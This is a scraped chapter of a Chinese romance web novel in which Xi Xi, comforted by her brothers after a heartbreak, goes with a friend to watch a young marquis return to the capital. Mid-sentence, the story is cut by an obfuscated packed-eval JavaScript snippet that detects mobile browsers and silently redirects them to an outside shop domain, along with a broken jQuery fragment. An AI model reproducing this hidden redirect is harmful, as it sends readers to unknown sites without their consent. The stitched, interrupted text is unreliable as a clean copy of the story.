文趣网 > 其他小说 > 兄长不可 > 7. 第 7 章
    郗惜气得脑袋发蒙,咬着牙冲到窗边一看。

    郗言正立在门外,手里端着一碗甜汤,目光平静地从郗照身上移到郗惜脸上,最后又落回到郗照身上,语气不高不低,听不出喜怒:“老三,你在这里做什么?”

    郗照晃了晃手里的糖人,然后干脆利落地咬了口:“给惜惜送糖人啊。”

    郗言微眯着眼:“送糖人,怎么还钻窗户?”

    郗照理直气壮道:“她这不是把门锁了吗?我不翻窗怎么进去?”

    郗惜闭了闭眼,然后从窗户这边探出半个身子,冲郗言讪讪笑了一下:“二兄,你回来了?”

    郗言扫了她一眼,目光在她微微红肿的眼眶上停了一瞬,然后淡淡看向房门:“开门。”

    郗惜吞了吞口水,忙不迭地缩回头去开门。离开之前,狠狠拧了一把郗照。郗照哎哟一声,十分夸张地回头看向郗惜:“惜惜,你做什么?”

    郗照恶狠狠地瞪了他一眼。

    郗照却不觉生气,反而更加愉悦地喀嚓咬了口糖人:“这时候吃着倒是有些甜了。”

    郗惜恨不得将自己手里的糖人跟着糊他脸上,吃吃吃!叫他吃!!

    不过那边还顶着二兄不善的目光,郗惜深吸一口气,抖着手去开门。门刚打开,就听到身后传来郗照笑吟吟的声音:“二兄,没什么事我走了。”

    郗言偏头看向郗照,声音平淡:“年纪也不小了,不要总是翻你妹妹的窗户。”

    郗照“哦”了一声,叼着糖人,头也不回地走了。

    郗惜几乎咬碎了牙:毫无义气的三兄!!

    郗惜看着他走远了,才转头看向郗言,讪讪笑道:“二兄,你怎么过来了?”

    郗言没有立时出声,端着甜汤进了屋子,一眼扫过之后,才在桌前坐下,把甜汤放到她面前:“二兄让人做了百合银耳羹,趁热尝尝?”

    郗惜"嗯"了一声,在他对面坐下喝汤,余光一直留意着二兄的表情。可他脸上平平淡淡的,什么也看不出来。

    等郗惜喝了差不多,他才轻声开口:“哭过了?”

    郗惜原本喝得暖暖涨涨的肠胃,忽然又有些酸涩了,别开脸道:“没有。”

    “你三兄欺负你了?”

    “没有!”郗惜闷声道,“不关三兄的事。”

    郗言没有说话,只是默默地看着她。

    郗惜被他那样看着,忽然觉得自己什么都瞒不住他。

    果然,片刻之后,郗言轻叹了声:“那就是今日街上的事情了。”

    郗惜一顿,偷偷抬着眼看向郗言:“二兄知道了?”

    郗言低低应了一声:“嗯。是那个人配不上我们惜惜。”

    郗惜眼眶忽地又红了,泪珠子没忍住,啪嗒一下掉下来。她连忙撇开头去,用手背胡乱擦了一下,抽抽噎噎道:“二兄,我是不是很没出息?”

    郗言低低叹了一声,抬手轻轻擦过她的脸颊泪珠,动作很轻,声音比方才低柔了几分:“怎么会?我的惜惜是天底下最勇敢最厉害的惜惜。”

    郗惜抽了抽鼻子,带着哭腔哼了一声:“二兄又哄我。”

    郗言的指腹在她脸颊上停了一瞬才收回来,声音温温的:“没有,在二兄心里谁也比不上我的惜惜。”他看着她,日光落在他的瞳仁里,那双眼睛像是被暖光浸透了,温温的、柔柔的,看久了会让人有些目眩神迷。

    郗惜抬眼看过去的时候,忽然觉得二兄的眼睛里好像有什么东西跟平时不太一样。她愣了一下,然后飞快地撇开头去:“我知道了。”

    郗言看着她低下去的头顶,伸手轻轻揉了揉她的发顶,叹声道:“答应二兄,不许再哭了。”

    郗惜闷闷地“嗯”了一声。

    这个时候,郗言才注意到她发间那支白玉簪子,海棠花斜斜地插在她松松挽起的发髻里,在日光下泛着温润的光。他的目光停顿了片刻:“今日买的?”

    郗惜顺着他的目光抬手摸了摸发簪:“嗯,三兄送我的。”

    郗言点了点头,没有多说什么,只道:“很合适。”

    两个人又说了几句闲话,郗言方才转身离开。出了栖梧院,他的步子一顿,脸上的笑容也跟着淡了下去,目光转向澄心堂的方向。

    昨日两个人说话的时候,他就猜出大哥会做些什么,但没想到动作这么快,而且如此釜底抽薪。

    虽说彻底断了惜惜对那人的心思,可他却冥冥中感觉到有什么不对。

    但具体却又说不出来什么。

    是大兄这次做得太快太狠了些?还是别的什么?

    他有些说不清楚。

    晚风从远处吹过来,将所有杂乱的思绪尽数吹散开,他才抬脚回了自己的院子。

    一连数日,郗惜都没有再出门。但郗言每日下值之后都会过去一趟,郗照更是一日两三趟的跑,偶尔带些稀奇玩意儿,跟她说话斗嘴,倒也和往日没什么不同。只有郗洵每日里早出晚归,有时连晚饭也见不到个面。

    这日午后,郗惜正趴在窗边的软榻上发呆,院子门口忽然传来一阵风风火火的脚步声,人还没进门,声音已经先到了:“郗惜!你还坐得住!”

    壤驷真提着裙摆一路小跑进来,气都没喘匀就冲到她面前,“你知不知道周清仪那个贱人昨儿在赏花宴上说什么了?”

    郗惜回过头来,神色倦怠:“她又说什么了?”

    壤驷真一屁股在她对面坐下来,拍了一下桌案:“她说你看上她未婚夫了!说人家探花郎已经跟她定了亲,你还眼巴巴地凑上去!”

    “气死我了,当时我就同她骂起来了!这个眼瘸嘴毒心瞎的周老三一天天不干好事,就知道招猫遛狗,造谣生事!你看上那探花郎?笑话!!你三个兄长哪个不比探花郎俊俏好看?你还能看上他?!!”

    郗惜一顿,心虚着不敢吭声。

    壤驷真噼里啪啦一通说完,见郗惜始终一声不吭,端起桌上的温茶灌了一大口,才看向郗惜:“你倒是说句话啊!”

    郗惜低咳一声:“说什么?”

    壤驷真气得要死:“若是传的时间久了,你的名声可就坏了。”说完,她看着郗惜这副蔫了吧唧的样子,火气顿时消了一半,跟着换上了一副恨铁不成钢的语气:“说句实话,你的婚事到底怎么打算的?”

    她放下茶杯,认真地看向郗惜,“你这都十七了,京城里像你这么大的姑娘,十个里面有八个都定了亲了。你呢?郗家的门槛都快被媒人踏破了,你一个都没应。你跟我说实话,你到底想找个什么样的?”

    郗惜想了半天,最后老实说:“我也不知道。兄长们说不着急,再等等。我也没有遇到特别喜欢的。”说到最后的时候,她的语气顿了一下就恢复如常。

    壤驷真话还没听完,火气就又上来了,干瞪着她道:“那你就由着他们?你三个哥哥都是大男人,他们懂什么呀?”

    她又气又急,站起来在屋里转了一圈,“不行,你不能就这么等着。京城里像样的人家,好一些的公子,大多都已经定了亲了。再拖下去,剩下的都是些歪瓜裂枣。”

    忽然,

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17911593|213129||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    她停下脚步,“啊”了一声,转头看向郗惜,“对了!我爹前几天提了一嘴,说过些时候边关的冠军侯要回京述职。我爹赞了他好几次,说此人少年英雄,二十四岁封侯,是个极有本事的。”

    郗惜微微抬了一下眼:“二十四岁封侯?那不是比大兄还小几岁?”

    “可不是嘛!”壤驷真凑过来压低声音,“而且人家还没定亲。你想啊,一直在边关待着,哪有空相看?如今回来了,肯定是要在京里说的。”

    说到这里,她眼睛亮亮的:“等他回京,城门口那条街肯定挤满了人。到时候,我提前在茶楼订个座,咱们远远看一眼,看完就走。”

    郗惜最近没什么兴趣再认识些新人了,只是不好打断好友的兴头,犹豫了片刻点头道:“好吧,那就去看看。”

    壤驷真当即拍了一下桌子:“行,我来安排!到时候你只管出来就是。”

    说完,她就站起来朝着门口走去,走了两步又回头看了郗惜一眼,认真道:“惜惜,你别听周清仪放屁。那探花郎本来就不怎么样,我看他那个样子就知道不是什么好东西。你值得更好的。”

    说完就风风火火地走了。

    当天下午,满城的流言就都变了风向。说那探花郎一连接触了十来个贵女,最终只有那昭宁郡主上了钩,定了婚。

    风流韵事一向传得快,更何况涉及新晋探花郎和昭宁郡主。

    郗惜的名字很快被淹了下去。

    听说当日昭宁郡主气得摔了一屋子的瓷器,原本要出门了却在经过荷花池的时候不小心滑了下去。等再被救上来的时候,人已经彻底昏了过去。

    这些郗惜都不知道,还是后来听杜若谈及的。

    过了几日,壤驷真那边来了消息:冠军侯三日后,巳时入城。

    日子转瞬即逝,一大早郗惜就哄了郗照一同出府。郗照佯装什么都不知道的样子,由着她将他忽悠走,然后眼瞅着人进了春风得意楼。

    茶楼里人挤人,比上次状元游街的时候还要热闹。

    壤驷真已经占好了临窗的雅间,桌上一碟蜜饯一壶茶。人正趴在窗框上往外探头探脑,瞧见了郁惜进来一挥手:“惜惜,快快快,人要进城了。”

    正说着,隐约的马蹄声从街口那边传过来,如同踩在鼓点上一般,一下一下地逼近。

    街上的人群顿时炸开了,纷纷自动往两边退开,留出街心一条宽阔的空道。

    壤驷真也跟着激动起来,一把抓住郁惜的胳膊:“来了来了!!”

    果然。

    一片黑压压的骑兵队列由远及近,如雷声滚滚。

    队首一面墨底银字的军旗被风扯得猎猎作响,上面绣着一个“霍”字。

    打头那人骑着一匹通体乌黑的战马,身量极高,肩宽背阔,一身玄甲在日光下折出暗沉沉的微光。不同于那种宫宴上穿来摆样子的银甲,那是真正被边关风沙磨过的甲胄,让人望之生畏。

    等人离得近了,也瞧得更清楚了些。

    头发高高束起,额前有一缕碎发被风吹乱了,显出极深极黑的瞳仁。鼻梁高挺,薄唇紧抿,整张脸的线条硬朗到近乎凶狠,如同一头在旷野里独行久了的狼,被人强行拉进了人堆里。

    郗惜心颤了下,忍不住往后缩去。

    就在这时候,他忽然抬了一下眼,那道目光穿过涌动的人海,穿过春日的和风,就那样平静地落了过来。

    对视无声,落如惊雷。

    那一瞬间,郗惜只觉得自己像是被什么凶兽锁定了一般,浑身发颤。